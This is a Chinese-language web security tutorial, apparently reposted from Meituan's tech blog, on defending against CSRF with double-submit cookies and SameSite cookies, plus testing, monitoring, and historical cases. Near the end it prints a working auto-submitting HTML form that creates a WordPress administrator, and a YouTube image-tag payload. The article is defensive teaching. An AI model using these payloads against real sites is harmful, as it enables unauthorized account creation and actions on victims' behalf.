XiaoYouShan

一个互联网技术探索、分享地

位置: 文章详情

前端安全系列:如何防止CSRF攻击?【下】

时间:2020-05-27 作者: 刘烨 浏览:405


    话接上篇

    双重Cookie验证

    在会话中存储CSRF Token比较繁琐,而且不能在通用的拦截上统一处理所有的接口。

    那么另一种防御措施是使用双重提交Cookie。利用CSRF攻击不能获取到用户Cookie的特点,我们可以要求Ajax和表单请求携带一个Cookie中的值。


    双重Cookie采用以下流程:

    在用户访问网站页面时,向请求域名注入一个Cookie,内容为随机字符串(例如csrfcookie=v8g9e4ksfhw)。

    在前端向后端发起请求时,取出Cookie,并添加到URL的参数中(接上例POST https://www.a.com/comment?csrfcookie=v8g9e4ksfhw)。

    后端接口验证Cookie中的字段与URL参数中的字段是否一致,不一致则拒绝。

    此方法相对于CSRF Token就简单了许多。可以直接通过前后端拦截的的方法自动化实现。后端校验也更加方便,只需进行请求中字段的对比,而不需要再进行查询和存储Token。

    当然,此方法并没有大规模应用,其在大型网站上的安全性还是没有CSRF Token高,原因我们举例进行说明。

    由于任何跨域都会导致前端无法获取Cookie中的字段(包括子域名之间),于是发生了如下情况:

    如果用户访问的网站为www.a.com,而后端的api域名为api.a.com。那么在www.a.com下,前端拿不到api.a.com的Cookie,也就无法完成双重Cookie认证。

    于是这个认证Cookie必须被种在a.com下,这样每个子域都可以访问。

    任何一个子域都可以修改a.com下的Cookie。

    某个子域名存在漏洞被XSS攻击(例如upload.a.com)。虽然这个子域下并没有什么值得窃取的信息。但攻击者修改了a.com下的Cookie。

    攻击者可以直接使用自己配置的Cookie,对XSS中招的用户再向www.a.com下,发起CSRF攻击。


    总结:

    用双重Cookie防御CSRF的优点:

    无需使用Session,适用面更广,易于实施。

    Token储存于客户端中,不会给服务器带来压力。

    相对于Token,实施成本更低,可以在前后端统一拦截校验,而不需要一个个接口和页面添加。

    缺点:

    Cookie中增加了额外的字段。

    如果有其他漏洞(例如XSS),攻击者可以注入Cookie,那么该防御方式失效。

    难以做到子域名的隔离。

    为了确保Cookie传输安全,采用这种防御方式的最好确保用整站HTTPS的方式,如果还没切HTTPS的使用这种方式也会有风险。


    Samesite Cookie属性

    防止CSRF攻击的办法已经有上面的预防措施。为了从源头上解决这个问题,Google起草了一份草案来改进HTTP协议,那就是为Set-Cookie响应头新增Samesite属性,它用来标明这个 Cookie是个“同站 Cookie”,同站Cookie只能作为第一方Cookie,不能作为第三方Cookie,Samesite 有两个属性值,分别是 Strict 和 Lax,下面分别讲解:


    Samesite=Strict

    这种称为严格模式,表明这个 Cookie 在任何情况下都不可能作为第三方 Cookie,绝无例外。比如说 b.com 设置了如下 Cookie:

    Set-Cookie: foo=1; Samesite=Strict
    Set-Cookie: bar=2; Samesite=Lax
    Set-Cookie: baz=3

    我们在 a.com 下发起对 b.com 的任意请求,foo 这个 Cookie 都不会被包含在 Cookie 请求头中,但 bar 会。举个实际的例子就是,假如淘宝网站用来识别用户登录与否的 Cookie 被设置成了 Samesite=Strict,那么用户从百度搜索页面甚至天猫页面的链接点击进入淘宝后,淘宝都不会是登录状态,因为淘宝的服务器不会接受到那个 Cookie,其它网站发起的对淘宝的任意请求都不会带上那个 Cookie。


    Samesite=Lax

    这种称为宽松模式,比 Strict 放宽了点限制:假如这个请求是这种请求(改变了当前页面或者打开了新页面)且同时是个GET请求,则这个Cookie可以作为第三方Cookie。比如说 b.com设置了如下Cookie:

    Set-Cookie: foo=1; Samesite=Strict
    Set-Cookie: bar=2; Samesite=Lax
    Set-Cookie: baz=3

    当用户从 a.com 点击链接进入 b.com 时,foo 这个 Cookie 不会被包含在 Cookie 请求头中,但 bar 和 baz 会,也就是说用户在不同网站之间通过链接跳转是不受影响了。但假如这个请求是从 a.com 发起的对 b.com 的异步请求,或者页面跳转是通过表单的 post 提交触发的,则bar也不会发送。

    生成Token放到Cookie中并且设置Cookie的Samesite,Java代码如下:

    private void addTokenCookieAndHeader(HttpServletRequest httpRequest, HttpServletResponse httpResponse) {        //生成token
           String sToken = this.generateToken();        //手动添加Cookie实现支持“Samesite=strict”
           //Cookie添加双重验证
           String CookieSpec = String.format("%s=%s; Path=%s; HttpOnly; Samesite=Strict", this.determineCookieName(httpRequest), sToken, httpRequest.getRequestURI());
           httpResponse.addHeader("Set-Cookie", CookieSpec);
           httpResponse.setHeader(CSRF_TOKEN_NAME, token);
       }

    代码源自OWASP Cross-Site_Request_Forgery #Implementation example


    我们应该如何使用SamesiteCookie

    如果SamesiteCookie被设置为Strict,浏览器在任何跨域请求中都不会携带Cookie,新标签重新打开也不携带,所以说CSRF攻击基本没有机会。

    但是跳转子域名或者是新标签重新打开刚登陆的网站,之前的Cookie都不会存在。尤其是有登录的网站,那么我们新打开一个标签进入,或者跳转到子域名的网站,都需要重新登录。对于用户来讲,可能体验不会很好。

    如果SamesiteCookie被设置为Lax,那么其他网站通过页面跳转过来的时候可以使用Cookie,可以保障外域连接打开页面时用户的登录状态。但相应的,其安全性也比较低。

    另外一个问题是Samesite的兼容性不是很好,现阶段除了从新版Chrome和Firefox支持以外,Safari以及iOS Safari都还不支持,现阶段看来暂时还不能普及。

    而且,SamesiteCookie目前有一个致命的缺陷:不支持子域。例如,种在topic.a.com下的Cookie,并不能使用a.com下种植的SamesiteCookie。这就导致了当我们网站有多个子域名时,不能使用SamesiteCookie在主域名存储用户登录信息。每个子域名都需要用户重新登录一次。

    总之,SamesiteCookie是一个可能替代同源验证的方案,但目前还并不成熟,其应用场景有待观望。


    防止网站被利用

    前面所说的,都是被攻击的网站如何做好防护。而非防止攻击的发生,CSRF的攻击可以来自:

    攻击者自己的网站。

    有文件上传漏洞的网站。

    第三方论坛等用户内容。

    被攻击网站自己的评论功能等。

    对于来自黑客自己的网站,我们无法防护。但对其他情况,那么如何防止自己的网站被利用成为攻击的源头呢?

    严格管理所有的上传接口,防止任何预期之外的上传内容(例如HTML)。

    添加Header X-Content-Type-Options: nosniff 防止黑客上传HTML内容的资源(例如图片)被解析为网页。

    对于用户上传的图片,进行转存或者校验。不要直接使用用户填写的图片链接。

    当前用户打开其他用户填写的链接时,需告知风险(这也是很多论坛不允许直接在内容中发布外域链接的原因之一,不仅仅是为了用户留存,也有安全考虑)。


    CSRF其他防范措施

    对于一线的程序员同学,我们可以通过各种防护策略来防御CSRF,对于QA、SRE、安全负责人等同学,我们可以做哪些事情来提升安全性呢?


    CSRF测试

    CSRFTester是一款CSRF漏洞的测试工具,CSRFTester工具的测试原理大概是这样的,使用代理抓取我们在浏览器中访问过的所有的连接以及所有的表单等信息,通过在CSRFTester中修改相应的表单等信息,重新提交,相当于一次伪造客户端请求,如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。 CSRFTester使用方法大致分下面几个步骤:

    步骤1:设置浏览器代理

    CSRFTester默认使用Localhost上的端口8008作为其代理,如果代理配置成功,CSRFTester将为您的浏览器生成的所有后续HTTP请求生成调试消息。

    步骤2:使用合法账户访问网站开始测试

    我们需要找到一个我们想要为CSRF测试的特定业务Web页面。找到此页面后,选择CSRFTester中的“开始录制”按钮并执行业务功能;完成后,点击CSRFTester中的“停止录制”按钮;正常情况下,该软件会全部遍历一遍当前页面的所有请求。

    步骤3:通过CSRF修改并伪造请求

    之后,我们会发现软件上有一系列跑出来的记录请求,这些都是我们的浏览器在执行业务功能时生成的所有GET或者POST请求。通过选择列表中的某一行,我们现在可以修改用于执行业务功能的参数,可以通过点击对应的请求修改query和form的参数。当修改完所有我们希望诱导用户form最终的提交值,可以选择开始生成HTML报告。

    步骤4:拿到结果如有漏洞进行修复

    首先必须选择“报告类型”。报告类型决定了我们希望受害者浏览器如何提交先前记录的请求。目前有5种可能的报告:表单、iFrame、IMG、XHR和链接。一旦选择了报告类型,我们可以选择在浏览器中启动新生成的报告,最后根据报告的情况进行对应的排查和修复。


    CSRF监控

    对于一个比较复杂的网站系统,某些项目、页面、接口漏掉了CSRF防护措施是很可能的。

    一旦发生了CSRF攻击,我们如何及时的发现这些攻击呢?

    CSRF攻击有着比较明显的特征:

    跨域请求。

    GET类型请求Header的MIME类型大概率为图片,而实际返回Header的MIME类型为Text、JSON、HTML。

    我们可以在网站的代理层监控所有的接口请求,如果请求符合上面的特征,就可以认为请求有CSRF攻击嫌疑。我们可以提醒对应的页面和项目负责人,检查或者 Review其CSRF防护策略。


    个人用户CSRF安全的建议

    经常上网的个人用户,可以采用以下方法来保护自己:

    使用网页版邮件的浏览邮件或者新闻也会带来额外的风险,因为查看邮件或者新闻消息有可能导致恶意代码的攻击。

    尽量不要打开可疑的链接,一定要打开时,使用不常用的浏览器。


    总结

    简单总结一下上文的防护策略:

    CSRF自动防御策略:同源检测(Origin 和 Referer 验证)。

    CSRF主动防御措施:Token验证 或者 双重Cookie验证 以及配合Samesite Cookie。

    保证页面的幂等性,后端接口不要在GET页面中做用户操作。

    为了更好的防御CSRF,最佳实践应该是结合上面总结的防御措施方式中的优缺点来综合考虑,结合当前Web应用程序自身的情况做合适的选择,才能更好的预防CSRF的发生。


    历史案例

    WordPress的CSRF漏洞

    2012年3月份,WordPress发现了一个CSRF漏洞,影响了WordPress 3.3.1版本,WordPress是众所周知的博客平台,该漏洞可以允许攻击者修改某个Post的标题,添加管理权限用户以及操作用户账户,包括但不限于删除评论、修改头像等等。具体的列表如下:

    Add Admin/User

    Delete Admin/User

    Approve comment

    Unapprove comment

    Delete comment

    Change background image

    Insert custom header image

    Change site title

    Change administrator’s email

    Change Wordpress Address

    Change Site Address

    那么这个漏洞实际上就是攻击者引导用户先进入目标的WordPress,然后点击其钓鱼站点上的某个按钮,该按钮实际上是表单提交按钮,其会触发表单的提交工作,添加某个具有管理员权限的用户,实现的码如下:

    <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to add Administrator</H2> <form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/user-new.php"> <input type="hidden" name="action" value="createuser"/> <input type="hidden" name="_wpnonce_create-user" value="<sniffed_value>"/> <input type="hidden" name="_wp_http_referer" value="%2Fwordpress%2Fwp-admin%2Fuser-new.php"/> <input type="hidden" name="user_login" value="admin2"/> <input type="hidden" name="email" value="admin2@admin.com"/> <input type="hidden" name="first_name" value="admin2@admin.com"/> <input type="hidden" name="last_name" value=""/> <input type="hidden" name="url" value=""/> <input type="hidden" name="pass1" value="password"/> <input type="hidden" name="pass2" value="password"/> <input type="hidden" name="role" value="administrator"/> <input type="hidden" name="createuser" value="Add+New+User+"/> </form> </body> </html>


    YouTube的CSRF漏洞

    2008年,有安全研究人员发现,YouTube上几乎所有用户可以操作的动作都存在CSRF漏洞。如果攻击者已经将视频添加到用户的“Favorites”,那么他就能将他自己添加到用户的“Friend”或者“Family”列表,以用户的身份发送任意的消息,将视频标记为不宜的,自动通过用户的联系人来共享一个视频。例如,要把视频添加到用户的“Favorites”,攻击者只需在任何站点上嵌入如下所示的IMG标签:

    <img src="http://youtube.com/watch_ajax?action_add_favorite_playlist=1&video_
    id=[VIDEO ID]&playlist_id=&add_to_favorite=1&show=1&button=AddvideoasFavorite"/>

    攻击者也许已经利用了该漏洞来提高视频的流行度。例如,将一个视频添加到足够多用户的“Favorites”,YouTube就会把该视频作为“Top Favorites”来显示。除提高一个视频的流行度之外,攻击者还可以导致用户在毫不知情的情况下将一个视频标记为“不宜的”,从而导致YouTube删除该视频。

    这些攻击还可能已被用于侵犯用户隐私。YouTube允许用户只让朋友或亲属观看某些视频。这些攻击会导致攻击者将其添加为一个用户的“Friend”或“Family”列表,这样他们就能够访问所有原本只限于好友和亲属表中的用户观看的私人的视频。

    攻击者还可以通过用户的所有联系人名单(“Friends”、“Family”等等)来共享一个视频,“共享”就意味着发送一个视频的链接给他们,当然还可以选择附加消息。这条消息中的链接已经并不是真正意义上的视频链接,而是一个具有攻击性的网站链接,用户很有可能会点击这个链接,这便使得该种攻击能够进行病毒式的传播。


    原文地址:https://tech.meituan.com/2018/10/11/fe-security-csrf.html


标签web安全 , CSRF